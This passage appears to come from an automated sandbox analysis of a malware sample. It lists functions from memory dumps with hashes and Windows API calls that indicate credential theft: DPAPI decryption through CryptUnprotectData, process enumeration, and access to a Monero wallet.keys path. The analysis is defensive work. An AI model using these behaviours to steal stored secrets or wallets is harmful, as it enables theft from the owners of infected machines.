Opcode Fuzzy Hash: ffe81614f9d12f9968c9f3ab64ccb95c5fd00ec504fc69526907b6d7cd9e7908
Instruction Fuzzy Hash: A1B24AF3A0C214AFE3046E2DEC8567ABBE9EF94760F1A453DE6C4C7344EA3558008796

Function 00FFCFF0 Relevance: 9.2, Strings: 6, Instructions: 1653COMMON

Download Yara Rule

Strings

z[3, xrefs: 00FFDBE5
dq!., xrefs: 00FFE000
fWq, xrefs: 00FFE02D
Q?, xrefs: 00FFDEED
{i?~, xrefs: 00FFDA7D
m^W, xrefs: 00FFE04B

Memory Dump Source

Source File: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Q?$dq!.$fWq$m^W${i?~$z[3
API String ID: 0-630982637
Opcode ID: 1c20221849eba711fc8666ead54a6ce755f0aa21784db733563e5275aca2a7d2
Instruction ID: bd56bac2c819ed1158a1a718e882bd4d7151a70d852e997a6da4b5b6997c0cd3
Opcode Fuzzy Hash: 1c20221849eba711fc8666ead54a6ce755f0aa21784db733563e5275aca2a7d2
Instruction Fuzzy Hash: C3B219F3A0C2049FE3046E2DEC8567BBBE9EF94720F16463DEAC5C3744EA3558058696

Function 01008D48 Relevance: 9.1, Strings: 6, Instructions: 1589COMMON

Download Yara Rule

Strings

q^|, xrefs: 010091FD
'5}M, xrefs: 01009035
`\7, xrefs: 01009C06
6Bd|, xrefs: 01009E2D, 01009E63, 0100A033
@cSx, xrefs: 010094E6
qV~, xrefs: 010095EE

Memory Dump Source

Source File: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID:
String ID: '5}M$6Bd|$@cSx$`\7$qV~$q^|
API String ID: 0-287118796
Opcode ID: d8f906e6819b7b21ec2f10a599b8566c1c04f45f489832aac962f283af46a678
Instruction ID: 0e9205b96cbbb5b5cd1b973e4a710525c182de2b6c662fcc52b62f288fb4e75a
Opcode Fuzzy Hash: d8f906e6819b7b21ec2f10a599b8566c1c04f45f489832aac962f283af46a678
Instruction Fuzzy Hash: 7FB2F5F3A0C2009FE3046E29EC8577AFBE9EF94720F1A492DE6C487744EA3558058797

Function 0100F782 Relevance: 9.1, Strings: 6, Instructions: 1583COMMON

Download Yara Rule

Strings

o"w, xrefs: 01010AFB
UTw?, xrefs: 0100FB82
Xwo, xrefs: 01010195
EV?s, xrefs: 010102D7
H(oO, xrefs: 01010085
[L+?, xrefs: 0100F93A

Memory Dump Source

Source File: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID:
String ID: EV?s$H(oO$UTw?$Xwo$[L+?$o"w
API String ID: 0-1360323756
Opcode ID: 9160b8ef0602a3871eceafb31a41df1c96dcec33a6f19925814d5a2cbb1a25c0
Instruction ID: e8b02b9e5326f3015e6f58f8c28899292900f2b07ea8af627bc4a077c85f84e0
Opcode Fuzzy Hash: 9160b8ef0602a3871eceafb31a41df1c96dcec33a6f19925814d5a2cbb1a25c0
Instruction Fuzzy Hash: C0B2F4F350C3049FE304AE2DEC8567AFBE5EF94320F1A4A2DEAD487744EA3558418697

Function 00C3C820 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00C3C871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00C3C87C
lstrcat.KERNEL32(?,00C50B46), ref: 00C3C943
lstrcat.KERNEL32(?,00C50B47), ref: 00C3C957
lstrcat.KERNEL32(?,00C50B4E), ref: 00C3C978

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: d6bf788de7e549534f98a6226b72e7befc931355b3958aacf44485eee94cc652
Instruction ID: 54a5ce13cac743437e3a9a320c32a8cf1d985954cbaa5238e13eb55bc72d6612
Opcode Fuzzy Hash: d6bf788de7e549534f98a6226b72e7befc931355b3958aacf44485eee94cc652
Instruction Fuzzy Hash: 62416EB590420ADFDB10DFA0DD89BFEB7B8BB84304F1441B8E509B6280D7745A88CF92

Function 00C37240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 00C3724D
RtlAllocateHeap.NTDLL(00000000), ref: 00C37254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00C37281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 00C372A4
LocalFree.KERNEL32(?), ref: 00C372AE

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: d3cf2e5419f88daeb6a46e5f4f63505669ec6188253551036aa849663bac4870
Instruction ID: 78bf64b4386e4890d85681ebd13a1b0fd44b6b079a9a40f6d0d85c1f47fdd8f4
Opcode Fuzzy Hash: d3cf2e5419f88daeb6a46e5f4f63505669ec6188253551036aa849663bac4870
Instruction Fuzzy Hash: C20140B5A40208BFEB14DBD4DD4AF9E7778AB44700F144154FB09BA2C0D670AA448B66

Function 00C49600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00C4961E
Process32First.KERNEL32(00C50ACA,00000128), ref: 00C49632
Process32Next.KERNEL32(00C50ACA,00000128), ref: 00C49647
StrCmpCA.SHLWAPI(?,00000000), ref: 00C4965C
CloseHandle.KERNEL32(00C50ACA), ref: 00C4967A

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 138af7f0259d7b807b0c172ae6034491190b03ae30a507a60d3698ef83280a1f
Instruction ID: 0a03d126868c0abf6a5924f4a7feef271f0d74d1add40938adf6b6ff81020a65
Opcode Fuzzy Hash: 138af7f0259d7b807b0c172ae6034491190b03ae30a507a60d3698ef83280a1f
Instruction Fuzzy Hash: 36010C75A00218AFDB64DFA6DD48BEEB7F8FB48301F144199B909A6240D7749B84CF51

Function 00FF9993 Relevance: 6.7, Strings: 4, Instructions: 1653COMMON

Download Yara Rule

Strings

sq|, xrefs: 00FFAA45
ma}^, xrefs: 00FF9F6C
<&{, xrefs: 00FFA460
o, xrefs: 00FF9A94

Memory Dump Source

Source File: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ma}^$sq|$<&{$o
API String ID: 0-3559195441
Opcode ID: f4c66c950c0cde68bea905bf0e7e79361198515afafd80281be29bd2917c33fe
Instruction ID: f6134ce39673a8ebeaecc26a367fc462f76792a9a08be3e045e7028dc2cdbb51
Opcode Fuzzy Hash: f4c66c950c0cde68bea905bf0e7e79361198515afafd80281be29bd2917c33fe
Instruction Fuzzy Hash: 62B218F3A0C2049FE3046E2DEC8567ABBE9EF94720F1A493DE6C5C3744EA3558058697

Function 0100A7D2 Relevance: 6.6, Strings: 4, Instructions: 1631COMMON

Download Yara Rule

Strings

}[Q, xrefs: 0100B24C
Jg2, xrefs: 0100BAAF
&;;^, xrefs: 0100B50C
rw{, xrefs: 0100B4FB

Memory Dump Source

Source File: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID:
String ID: &;;^$Jg2$rw{$}[Q
API String ID: 0-4121264173
Opcode ID: 20ad46fecd682ecb21a678baf0c03bcd3e56eff1fb2db47556aa75bb67be47c1
Instruction ID: c9e33e0ce2aa1643eca7df283e29cd2633e63cde7ac038978f18620eaa9833e2
Opcode Fuzzy Hash: 20ad46fecd682ecb21a678baf0c03bcd3e56eff1fb2db47556aa75bb67be47c1
Instruction Fuzzy Hash: F4B215F36082009FE704AE2DEC8567AFBE9EF94320F1A493DE6C4C7744E67598058697

Function 01003EBF Relevance: 6.6, Strings: 4, Instructions: 1576COMMON

Download Yara Rule

Strings

W9=, xrefs: 01004000
ah^{, xrefs: 01004CD7
p^|?, xrefs: 010047CF
N\w_, xrefs: 01004A61

Memory Dump Source

Source File: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID:
String ID: N\w_$W9=$ah^{$p^|?
API String ID: 0-963267157
Opcode ID: 6cf89d782fbbc8d95ba9b65d94f5fc48b1647fd9d9c5e551ba69895f973bdb1b
Instruction ID: 0c99ae31b4e14446caa7f69cfc8dbc84ec36ac1e0d34e310c7a36cbf810ab0a3
Opcode Fuzzy Hash: 6cf89d782fbbc8d95ba9b65d94f5fc48b1647fd9d9c5e551ba69895f973bdb1b
Instruction Fuzzy Hash: 6CB2C6F360C200AFE704AE1DEC8567ABBE5EF94720F1A493DEAC5C3744E63558148697

Function 00C48680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 00C4A740: lstrcpy.KERNEL32(00C50E17,00000000), ref: 00C4A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00C505B7), ref: 00C486CA
Process32First.KERNEL32(?,00000128), ref: 00C486DE
Process32Next.KERNEL32(?,00000128), ref: 00C486F3

Part of subcall function 00C4A9B0: lstrlen.KERNEL32(?,019D8B90,?,\Monero\wallet.keys,00C50E17), ref: 00C4A9C5
Part of subcall function 00C4A9B0: lstrcpy.KERNEL32(00000000), ref: 00C4AA04
Part of subcall function 00C4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00C4AA12

Part of subcall function 00C4A8A0: lstrcpy.KERNEL32(?,00C50E17), ref: 00C4A905

CloseHandle.KERNEL32(?), ref: 00C48761

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 691856492f2f9075f8944520bed7a733ef792e2eb2a7b19e7d85a605ce5aed26
Instruction ID: f285f9a0773b6932cc473a99fc1b3f5c4a7ec5d52a59d768def4321ab737bbf7
Opcode Fuzzy Hash: 691856492f2f9075f8944520bed7a733ef792e2eb2a7b19e7d85a605ce5aed26
Instruction Fuzzy Hash: AD314B71941218ABDB24EF55DC55FEEB778FB45700F1041A9F50AA21A0DB306A89CFA2

Function 00C48EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00C35184,40000001,00000000,00000000,?,00C35184), ref: 00C48EC0

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: a88f35e6e0106c877b1378969527d7dae8f8a0e4b9e13b7ce99ef4b875ceb554
Instruction ID: 8760ac708f2ddf2c82227d93d8de90e33693bee95a0e885efb14d9215bd4b0f7
Opcode Fuzzy Hash: a88f35e6e0106c877b1378969527d7dae8f8a0e4b9e13b7ce99ef4b875ceb554
Instruction Fuzzy Hash: E5111C74200204BFDB04CFA5D884FAF33A9BF89700F149458F9198B250DB75ED89DB61

Function 00C39AC0 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00C34EEE,00000000,00000000), ref: 00C39AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00C34EEE,00000000,?), ref: 00C39B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00C34EEE,00000000,00000000), ref: 00C39B2A
LocalFree.KERNEL32(?,?,?,?,00C34EEE,00000000,?), ref: 00C39B3F

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
